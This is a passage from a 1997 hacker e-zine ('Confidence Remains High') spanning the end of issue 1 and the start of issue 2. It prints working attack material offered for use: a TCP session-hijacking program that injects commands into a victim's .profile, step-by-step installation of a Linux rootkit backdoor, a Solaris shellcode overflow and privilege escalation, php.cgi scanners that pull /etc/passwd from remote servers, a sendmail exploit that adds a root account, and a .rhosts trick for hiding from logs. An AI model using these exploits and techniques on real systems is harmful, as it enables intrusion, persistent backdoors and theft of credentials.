support ("eth0" device) */ /* If you network configuration differs it shouldn't be to */ /* hard to modify yourself. I got it working on PPP too, */ /* but I'm not including extra configuration possibilities */ /* because this would overload this first release that is */ /* only a demonstration of the mechanism. */ /* Anyway if you only have ONE network device (slip, */ /* ppp,... ) after a quick look at this code and spoofit.h */ /* it will only take you a few secs to fix it... */ /* People with a bit of C knowledge and well known with */ /* their OS shouldn't have to much trouble to port the code.*/ /* If you do, I would love to get the results. */ /* */ /* Compiling - gcc -o hijack hijack.c */ /* */ /* Usage - Usage described in the spoofing article that came with this. */ /* If you didn't get this, try to get the full release... */ /* */ /* See also - Sniffit (for getting the necessairy data on a connection) */ /**************************************************************************/ #include "spoofit.h" /* My spoofing include.... read licence on this */ /* Those 2 'defines' are important for putting the receiving device in */ /* PROMISCUOUS mode */ #define INTERFACE "eth0" /* first ethernet device */ #define INTERFACE_PREFIX 14 /* 14 bytes is an ethernet header */ #define PERSONAL_TOUCH 666 int fd_receive, fd_send; char CLIENT[100],SERVER[100]; int CLIENT_P; void main(int argc, char *argv[]) { int i,j,count; struct sp_wait_packet attack_info; unsigned long sp_seq ,sp_ack; unsigned long old_seq ,old_ack; unsigned long serv_seq ,serv_ack; /* This data used to clean up the shell line */ char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a}; char evil_data[]="echo \"echo HACKED\" >>$HOME/.profile\n"; if(argc!=4) { printf("Usage: %s client client_port server\n",argv[0]); exit(1); } strcpy(CLIENT,argv[1]); CLIENT_P=atoi(argv[2]); strcpy(SERVER,argv[3]); /* preparing all necessary sockets (sending + receiving) */ DEV_PREFIX = INTERFACE_PREFIX; fd_send = open_sending(); fd_receive = open_receiving(INTERFACE, 0); /* normal BLOCKING mode */ printf("Starting Hijacking demo - Brecht Claerhout 1996\n"); printf("-----------------------------------------------\n"); for(j=0;j<50;j++) { printf("\nTakeover phase 1: Stealing connection.\n"); wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0); sp_seq=attack_info.seq+attack_info.datalen; sp_ack=attack_info.ack; printf(" Sending Spoofed clean-up data...\n"); transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23, sp_seq,sp_ack,ACK|PSH); /* NOTE: always beware you receive y'r OWN spoofed packs! */ /* so handle it if necessary */ count=0; printf(" Waiting for spoof to be confirmed...\n"); while(count<5) { wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==sp_seq+sizeof(to_data)) count=PERSONAL_TOUCH; else count++; }; if(count!=PERSONAL_TOUCH) {printf("Phase 1 unsuccesfully ended.\n");} else {printf("Phase 1 ended.\n"); break;}; }; printf("\nTakeover phase 2: Getting on track with SEQ/ACK's again\n"); count=serv_seq=old_ack=0; while(count<10) { old_seq=serv_seq; old_ack=serv_ack; wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0); if(attack_info.datalen==0) { serv_seq=attack_info.seq+attack_info.datalen; serv_ack=attack_info.ack; if( (old_seq==serv_seq)&&(serv_ack==old_ack) ) count=PERSONAL_TOUCH; else count++; } }; if(count!=PERSONAL_TOUCH) {printf("Phase 2 unsuccesfully ended.\n"); exit(0);} printf(" Server SEQ: %X (hex) ACK: %X (hex)\n",serv_seq,serv_ack); printf("Phase 2 ended.\n"); printf("\nTakeover phase 3: Sending MY data.\n"); printf(" Sending evil data.\n"); transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P, SERVER,23,serv_ack,serv_seq,ACK|PSH); count=0; printf(" Waiting for evil data to be confirmed...\n"); while(count<5) { wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==serv_ack+sizeof(evil_data)) count=PERSONAL_TOUCH; else count++; }; if(count!=PERSONAL_TOUCH) {printf("Phase 3 unsuccesfully ended.\n"); exit(0);} printf("Phase 3 ended.\n"); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. Using LinuxRootKitIII : suid 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Rooting machines is just half the fun, the whole point to owning something is being able to keep root for as long as possible. To do this many kind people have released what are known as root kits. There are currently root kits available for a plethora of operating systems, e.g. Linux, SunOS, and FreeBSD. What a root kit does is installs many backdoored and trojanised programs to replace the existing programs which are used to perform the basic tasks of the host you owned. These tasks include: logging in, listing files, listing proccesses and so on. Focussing on a linux system, mainly because these are the most generally rooted by the masses. There are a few versions of the rootkit around. The main two you should have are LinuxRootKitIII, and LinuxRootKitII. You should have both 2, and 3 because they are for different kinds of linux machine. Generally, LinuxRootKitII (a.k.a lrk2) is for older Linux kernels (in the 1.x range) and LinuxRootKitIII (a.k.a lrk3) is for the newer Linux 2.x kernels. It should be noted somewhere in this article that you need to have owned (rooted) the machine _before_ you try and install rootkit, installing it as a non-root user wont work, and wont help you root the machine at all. Also it should be noted that you shouldn't 'test' lrk2/lrk3 on your own machine as it will probably just fuck you up. Ok, now comes the part I like. To use lrk2 or 3, you need a few things, a Linux box of the correct kernel version, root on that machine, and that machine needs to be able to compile. Once you have that its not a big problem. I'll take you thru it step by step. 1. Upload the lrk of the correct type. Remembering that its lrk2 for 1.x kernels and lrk3 for 2.x kernels. To find out what kernel the remote host is, type "uname -a" at the prompt, the number with the 2 radix points is the kernel version. Example: [root@sploitable root] # uname -a Linux sewid.org 2.0.29 #1 Sat Mar 22 17:39:12 EST 1997 i586 Ex1. This is a linux 2.0.29 kernel machine. Uploading the proper root kit can be easily done by ftp'ing to your remote machine and uploading it that way into some directory on a device with sufficient room to store lrk uncompressed. (Lrk3 is over 3mb uncompressed). To check how much space each device has, type df. 2. Untar/gzip it. This can easily be done by chdir'ing to wherever you uploaded it last step then executing the following command. [root@sploitable root] # tar -zxvf LRKIII.tar.gz 3. Make it. Linux root kits are quite user friendly provided the installation goes according to plan. To make the root kit, chdir to wherever it was untared to (e.g in lrk3, you would type "cd lrk3" from the directory you untarred it from.) and back up your existing binaries. To do this its best to know where they are. Here's a list of the binaries existing location on a common linux system. You should copy all these as shown. /bin/login /usr/bin/passwd /bin/ps /bin/ls /bin/netstat /usr/bin/du /usr/bin/top /usr/bin/rsh /sbin/ifconfig /usr/bin/chsh /usr/bin/chfn /usr/sbin/inetd If one of these files isnt on your system, or not in the directory mentioned above, try to find it using the 'whereis' command. Example: [root@sploitable lrk3] # whereis inetd inetd: /etc/inetd.conf /usr/lbin/inetd /usr/man/man8/inetd.8 Bingo you found inetd hiding in /usr/lbin I suggest copying all these to a directory called bin_bak or something under your lrk dir. Something like "cp /bin/ls ./bin_bak" for all of them is a good start. Ok now you've taken precautions, modify the rootkit.h file that is in the lrk directory. The minimum you should change is the default rootkit password: Example: #define ROOTKIT_PASSWORD "lrkr0x" Change this to... #define ROOTKIT_PASSWORD "code-0" Or anything you want that is *6 CHARACTERS LONG*. Ok thats it. Now your read to compile, this part is taken care of by the make file. All you need to do is type: "make all install" The make file takes all the source, compiles it, and places the new backdoored binaries into all the right places for you. It should be noted that once backdoored you should _NEVER_ attempt to change your rootkit password with the 'passwd' command. The root password is NOT THE SAME AS YOUR ROOTKIT PASSWORD. You may be able to log into the system by typing "root" at the login prompt then some password at the the password prompt, but this is a BACKDOOR, it does not mean the root password is the same as the one you put in rootkit.h. Happy Ownership. suid 1997. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ FIN ]======================[ .SECTION G. ]========================[ FIN ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Well, that was issue 1, hope ya'll liked it, don't forget to visit... ==================> http://www.codez.com UP FUCKEN NOW!@# <================== ==================> http://www.codez.com UP FUCKEN NOW!@# <================== ==================> http://www.codez.com UP FUCKEN NOW!@# <================== ==================> http://www.codez.com UP FUCKEN NOW!@# <================== And that ends everything, sorry if we spent a little to long straightening some shit out with sIn, but you deserve to know the truth... Until next time, when there will be 950 days until the year 2000... The CodeZero. =============================================================================== ==================> http://www.codez.com UP FUCKEN NOW!@# <================== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Remember, Mcdonalds Owns You, And Ronald Is The KinG!!! Wendy Is Satan!! Don't Believe The Lies!! PHEAR WENDY!@#* 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� crh002.txt100644 1751 12 257364 6355575560 10333 0ustar wheel컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== =--------------------=====================================--------------------= =--------------------= Status : Confidence Remains High. =--------------------= =--------------------= Issue : 002. =--------------------= =--------------------= Date : May 26th 1997. =--------------------= =--------------------=====================================--------------------= =============================================================================== =====================> http://www.codez.com NOW UP!@#* <===================== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� .:. Site Of The Month .:. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =====================> http://www.codez.com NOW UP!@#* <===================== =====================> http://www.codez.com NOW UP!@#* <===================== =====================> http://www.codez.com NOW UP!@#* <===================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� In This HUUUUUUuuuUUUUUGE Issue : 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� -----=> Section A : Introduction And Cover Story. 1. Confidence Remains High Issue 2....................: Tetsu Khan 2. wh0 the King?......................................: so1o 3. www.codez.com......................................: fr1day -----=> Section B : Exploits And Code. 1. Unpatched Solaris 2.3 / 2.4 Exploit -=> solsuid.c.: Shawn Instenes 2. Pretty Useful Solaris 2.5.1 Exploit -=> ban251.c..: s0me Bugtraq d00d 3. Scan For php Vunerable Servers ------=> phpscan.c.: so1o 4. Use php.cgi To Get Files ------------=> phpget.c..: p1 5. Hiding From Who (incase you didn't read the pilots): so1o 6. Sendmail 8.8.4 / 8.8.5 LOCAL Exploit...............: p1 7. Ident Scanner (ident-scan.c).......................: Dave Goldsmith 8. Windoze NT / 95 Killer : winnuke.c.................: _eci -----=> Section C : Phones / Scanning / Radio. 1. Federal Bugging Frequencies........................: Weapon-X 2. 911 Autodialler Script.............................: dk 3. Cellular Calls Without Cloning.....................: TRON -----=> Section D : Miscellaneous. 1. Getting Your Exploits Onto Systems.................: so1o 2. Fakemailing Techniques.............................: so1o 3. Pascal Credit Card Generator Source................: Lobster Guacamole 4. in.courierd : backdoor on port 530.................: so1o 5. UK Laws On Computer Misuse.........................: Darkfool 6. so1o Gets Busted By CERT...........................: so1o 7. CERT Advisory CA-97.13 : xlock vunerablity.........: BugTraq 8. IRiX WWW Server Bugs...............................: Tetsu Khan 9. Hacking Not-So-Electrical Items....................: Tetsu Khan -----=> Section E : World News. 1. Amnesty International Hacked.......................: Article from cnet.com 2. //sToRm// Of sIn Rips Port Pro.....................: so1o 3. Digital Darkness Lives.............................: so1o 4. /home/sdr 0wned....................................: so1o 5. Sendmail 8.8.4 Remote Is Out.......................: so1o 6. sIn inf0z Part 2...................................: The CodeZero ------=> Section F : Projects. 1. The [C]odeZero [R]emote [A]ttack [K]it (CRAK.tar)..: so1o -----=> Section G : The End. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Confidence Remains High Issue 002 : Tetsu Khan 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� We have been very busy over the last 50 days, but we still managed to put together the CodeZero Remote Attack Kit, which contains some very cutting edge tools as well as some very optimised code, we have included all the programs precompiled to run from a Linux 2.0.x box, this way you dont even need a compiler to build this shit =) the source will be available when we can be bothered to put it on our page, so enjoy this second *FREE* issue of... ...Confidence Remains High! T_K One last thing, this issue is a BUMPER WWW hacking issue! because CERT and the IRT are cool, and they think I live in Sweden :) Heres a disclaimer, just in case anyone does get a bit annoyed : *************************************************************************** ** NONE OF THE DATA CONTAINED WITHIN THIS FILE IS TO BE USED UNETHICALLY ** ** USE THIS DATA AT YOUR OWN RISK AND DON'T COME CRYING TO US IF CERT ** ** COME ROUND YOUR HOUSE AND KICK YOUR FUCKING ASS, KILL YOUR PARENTS ** ** AND YOUR DOG AND CONFISCATE ALL YOUR SHIT. ** *************************************************************************** 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. wh0 the King? : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Okay, heres a rundown of the main groups and associations around the scene on the efnet at this moment in time, as well as some comments and members... r00t ==== Many say r00t own us, members include : aleph1 Veggie tfish As in, Aleph One of dfw.net and underground.org, Death Veggie of the cDc, Tweety Fish of the cDc Ninja Strike Force (I also heard he designed the NHC security) as well as ALOT of others who are very well known in the underground. r00t are definately the biggest group on the scene, and easily the most powerful. el8 === el8 is another very powerful group, with members that between them make el8 a force to be feared, members include : prym bw- tsal Overall, a good group, with some very smart people. The CodeZero ============ We d0nt like to talk about ourselves, boosted up to 7 men now :) The Secret Mouse Society (sms) ============================== I dont really know much of this groups true power, but members include... Calidor vertex vortex They have many shells traders, and therefore probably alot of influence in the shells world, as well as experience, quite a large group. I wont even talk about Undernet groups, seeing they continually split, join other groups, change names, rip other people code, shit like that, basically acting like 12 year old warez kiddies (take sIn for example, or maybe even Psychosis.) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. www.codez.com : fr1day 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Yah000!!!@# wE gOt A dOmAin!!!@~# On www.codez.com we will have 40mb of space, this will include the following.. -=[ The Confidence Remains High Distro Point -=[ The CodeZero Exploits / Programs And Tools Page -=[ The Solaris 2.4 / 2.5.x Exploit Collection -=[ The Solaris Tools Collection -=[ The Solaris CodeZero Tools Collection -=[ The Linux 2.0.x Exploit Collection -=[ The Linux Tools Collection -=[ The Linux CodeZero Tools Collection -=[ W1nd0ze And d0S Tools Collection -=[ Assorted Text Philes Collection -=[ The CodeZero FTP Site -=[ H/P/A/V/C E-Zine Archive -=[ CodeZero Precompiled Linux / Solaris Tools And Exploits Archive So don't delay! GO THERE TODAY!@# And if you can, please link your sites to www.codez.com, as we would be very grateful :) Seeing we are basically giving all this shit to you for PHREE! phr1day 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ EXPLOITS ]=================[ .SECTION B. ]===================[ EXPLOITS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Unpatched Solaris 2.3 / 2.4 Exploit : solsuid.c : Shawn Instenes 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* If a tty port that is writeable by the user and owned by root is opened and the I_PUSH "ms" ioctl call made followed by an lseek the effective uid of the user is changed to root. */ #include #include #include #include #include #include #include main(argc, argv) int argc; char* argv[]; { int fd; if (argc < 2) { fprintf(stderr, "usage: %s /dev/ttyX\n", argv[0]); exit(1); } fd = open("/dev/ttyb", O_RDWR); printf("Your current effective uid is %d\n", geteuid()); ioctl(fd, I_PUSH, "ms"); lseek(fd, 0, 1); printf("Your effective uid has been changed to %d\n", geteuid()); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. Pretty Useful Solaris 2.5.1 Exploit : ban251.c : s0me bugtraq d00d 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* Written for Solaris 2.5.1 (sunOS 5.5.1) with /bin/eject */ #include #include #include #include #define BUF_LENGTH 364 #define EXTRA 400 #define STACK_OFFSET 400 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/eject", "eject", & buf[1],(char *) 0); perror("execl failed"); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. Scan For php Vunerable Servers : phpscan.c : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� The next two programs, phpscan.c and phpget.c are fully compiled in the CodeZero Remote Attack Kit, details about the whole kit in section F, part 2. These two programs use a hole in the php.cgi code that allows remote users to read any file on the system that the http daemon has access to. Vunerable servers I have found include www.2600.com (FreeBSD 2.1), so it does have some effect, use phpscan.c to scan from a list of hosts, then phpget.c to retrieve files from the remote hosts. Here begins the c0de... /* phpscan.c : php.cgi vunerable server scanning program. Basically a modified phf scanner, by Alhambra of The Guild. Modifications to php.cgi by so1o of The CodeZero. Usage: phpscan */ #include #include #include #include #include #include #include #include #include #ifdef LINUX #include #endif #include #include #include #include #include #include int FLAG = 1; int Call(int signo) { FLAG = 0; } main (int argc, char *argv[]) { char host[100], buffer[1024], hosta[1024],FileBuf[8097]; int outsocket, serv_len, len,X,c,outfd; struct hostent *nametocheck; struct sockaddr_in serv_addr; struct in_addr outgoing; char PHPMessage[]="GET cgi-bin/php.cgi?/etc/passwd\n"; while(fgets(hosta,100,stdin)) { if(hosta[0] == '\0') break; hosta[strlen(hosta) -1] = '\0'; write(1,hosta,strlen(hosta)*sizeof(char)); write(1,"\n",sizeof(char)); outsocket = socket (AF_INET, SOCK_STREAM, 0); memset (&serv_addr, 0, sizeof (serv_addr)); serv_addr.sin_family = AF_INET; nametocheck = gethostbyname (hosta); (void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0],sizeof (outgoing.s_addr)); strcpy (host, inet_ntoa (outgoing)); serv_addr.sin_addr.s_addr = inet_addr (host); serv_addr.sin_port = htons (80); signal(SIGALRM,Call); FLAG = 1; alarm(10); X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr)); alarm(0); if(FLAG == 1 && X==0){ write(outsocket,PHPMessage,strlen(PHPMessage)*sizeof(char)); while((X=read(outsocket,FileBuf,8096))!=0) write(1,FileBuf,X); } close (outsocket); } return 0; } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. Use php To Get Files : phpget.c : p1 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Heres the phpget.c, use it wisely...Some useful files to pull include... /etc/passwd /etc/hosts /etc/services /etc/syslogd.conf /etc/inetd.conf /* p1 (peewun@heterosexual.com) This code retrieves a file using php.cgi on a remote system. This program is for educational purposes only. Use it on p1.com. */ #include #include #include #include #include #include #include #include FILE *server; int sock; void do_connect(char *host, char *toget); void do_connect(char *host, char *toget) { char inbuf[1024]; struct sockaddr_in sin; struct hostent *hp; char *tmpbuf; hp = gethostbyname(host); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(80); sock = socket(AF_INET, SOCK_STREAM, 0); if ( -1 < connect(sock, (struct sockaddr *) &sin, sizeof(sin)) ) { printf("Made connection to %s.\n\n", host); } else { printf("Failed to connect to %s.\n\n",host); exit(0); } server=fdopen(sock, "a+"); fprintf(server, "GET /cgi-bin/php.cgi?%s\n",toget); printf("Output from php.cgi request:\n\n"); while(1){ if (fgets(inbuf, 1024, server) == NULL) break; printf(inbuf); } } main(int argc,char **argv) { printf("\nThis program retrieves files off a remote system using php.cgi.\n"); printf("Author: p1 - peewun@heterosexual.com\n"); if (argc < 3) { printf("Usage: %s \n",argv[0]); printf(" Ex: %s www.p1.com /etc/passwd\n",argv[0]); } else { char *buffer; (char *)"exit"; do_connect(argv[1],argv[2]); exit(1); } } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 5. Hiding From Who : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Okay, bog standard easy shit, works on nearly all systems depending on security arrangements, I advise you always try this method first when trying to hide. DONT type the % signs !!!@~"!* ThEy ArE PrOmPtZ!!! Telnet into the system, then type... % cd % echo "+ +" >> .rhosts If this gives an error, like "Cannot create .rhosts" then try... % cd % echo "+ +" > .rhosts Next telnet to the machines EXACT address, not 127.0.0.1 or localhost, this way works the most effectively..as it says "last login from..." and you don't want your ip to be mentioned, or for anyone to get suspicious, so you will need to cover your tracks. % telnet machine.host.com (then log in again, using the same L/P) now exit completely, using exit twice. The system is now all set up for you to log in without being seen or logged, as the + + you echo to the .rhosts file in the users home directory is actually used so that you can remotely execute commands on the system using rsh, or login into the system remotely, using rlogin, neither operations require a password, just a login name, so if the user changes his password, you will still be able to use this technique, now we can attempt to log into the system untraced, for this we need to either run linux, or be in a shell, follow this one, easy step, replace "login" with your login, and host.com with the EXACT host you want to get into... % rsh -l login host.com csh -i eg... % rsh -l tetsu microsoft.com csh -i This then runs csh (c shell) on the remote host (microsoft) in interactive mode..you should see something like this... % rsh -l tetsu microsoft.com csh -i ...Thus no control on this tty, blah blah blah % Now you are in, type who : % who % w00 w00!! no-one seems to be logged in, and you are therefore hidden!! Now you can proceed to hack the host without having to worry whos watching you. Note : Systems Administrators often look over their users directories for .rhosts files, so be aware of that. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 6. Sendmail 8.8.4 / 8.8.5 LOCAL Exploit : p1 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� If modeX would have given us his 884 REMOTE exploit with all the offsets, then we would have published it, but he didn't, so we ain't :( Have the local version instead... #!/bin/bash clear echo echo Sendmail 8.8.4 and 8.8.5 local exploit. echo Scripting by p1 \(peewun@heterosexual.com\) on 4-15-97. echo if [ $1 = "-rm" ] then echo Removing /var/tmp/dead.letter echo rm -rf /var/tmp/dead.letter echo Attempting to continue with exploit. echo fi if [ -e /var/tmp/dead.letter ] then echo File exists: /var/tmp/dead.letter echo echo If you wish to run this exploit, please delete it by running this echo exploit with the -rm flag. echo exit fi ln -s /etc/passwd /var/tmp/dead.letter cat >> unf << _EOF_ helo mail from: very@bad.address.here rcpt to: another@bad.bad.address data owned::0:0:exploitation:/:/bin/sh . _EOF_ cat unf | telnet localhost 25 >> /dev/null rm -rf unf echo echo Please wait for dead.letter to possibly be appended to by sendmail. echo sleep 10 if grep exploitation /etc/passwd then echo Successful addition of account 'owned' to /etc/passwd, running 'su.' su owned else echo Unsuccessful exploitation of symbolic link bug. fi 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 7. Ident Scanner : ident-scan.c : Dave Goldsmith 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Very very useful and quick tool, especially if it finds daemons running as root that shouldn't be...Or even backdoors on high ports. Usage : ident-scan [low port] [high port] /* * ident-scan [v0.15] * This TCP scanner has the additional functionality of retrieving * the username that owns the daemon running on the specified port. * It does this by by attempting to connect to a TCP port, and if it * succeeds, it will send out an ident request to identd on the * remote host. I believe this to be a flaw in the design of the * protocol, and if it is the developers intent to allow 'reverse' * idents, then it should have been stated clearer in the * rfc(rfc1413). * * USES: * It can be useful to determine who is running daemons on high ports * that can be security risks. It can also be used to search for * misconfigurations such as httpd running as root, other daemons * running under the wrong uids. * * COMPILES: Compiles fine under Linux, BSDI and SunOS 4.1.x. * * Dave Goldsmith * */ #include #include #include #include #include #include #include #include #include enum errlist { BAD_ARGS,BAD_HOST,NO_IDENT,SOCK_ERR }; void usage(error) enum errlist error; { fprintf(stderr,"ident-scan: "); switch(error) { case BAD_ARGS: fprintf(stderr,"usage: ident-scan hostname [low port] [hi port]\n"); break; case BAD_HOST: fprintf(stderr,"error: cant resolve hostname\n"); break; case NO_IDENT: fprintf(stderr,"error: ident isnt running on host\n"); break; case SOCK_ERR: fprintf(stderr,"error: socket() failed\n"); break; } exit(-1); } struct hostent * fill_host(machine,host) char *machine; struct hostent *host; { if ((host=gethostbyname(machine))==NULL) { if ((host=gethostbyaddr(machine,4,AF_INET))==NULL) return(host); } return(host); } int main(argc,argv) int argc; char **argv; { struct sockaddr_in forconnect,forport,forident; int i,sockfd,identfd,len=sizeof(forport),hiport=9999,loport=1,curport; struct servent *service; struct hostent *host; char identbuf[15], recieved[85], *uid; if ((argc<2) || (argc>4)) usage(BAD_ARGS); if (argc>2) loport=atoi(argv[2]); if (argc>3) hiport=atoi(argv[3]); if ((host=fill_host(argv[1],host))==NULL) usage(BAD_HOST); forconnect.sin_family=host->h_addrtype; forconnect.sin_addr.s_addr=*((long *)host->h_addr); forident.sin_family=host->h_addrtype; forident.sin_addr.s_addr=*((long *)host->h_addr); forident.sin_port=htons(113); if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1) usage(SOCK_ERR); if ((connect(identfd,(struct sockaddr *)&forident,sizeof(forident)))!=0) usage(NO_IDENT); close(identfd); for(curport=loport;curport<=hiport;curport++) { for(i=0;i!=85;i++) recieved[i]='\0'; forconnect.sin_port=htons(curport); if ((sockfd=socket(AF_INET,SOCK_STREAM,0))== -1) usage(SOCK_ERR); if (connect(sockfd,(struct sockaddr *)&forconnect,sizeof(forconnect))==0) { if (getsockname(sockfd,(struct sockaddr *)&forport,&len)==0) { if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1) usage(SOCK_ERR); if (connect(identfd,(struct sockaddr *)&forident,sizeof(forident))==0) { sprintf(identbuf,"%u,%u",htons(forconnect.sin_port), htons(forport.sin_port)); write(identfd,identbuf,strlen(identbuf)+1); read(identfd,recieved,80); recieved[strlen(recieved)-1]='\0'; uid=strrchr(recieved,' '); service=getservbyport(forconnect.sin_port,"tcp"); printf("Port: %3d\tService: %10s\tUserid: %s\n",curport, (service==NULL)?"(?)":service->s_name,uid); } } } close(sockfd); close(identfd); } } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 8. Windoze 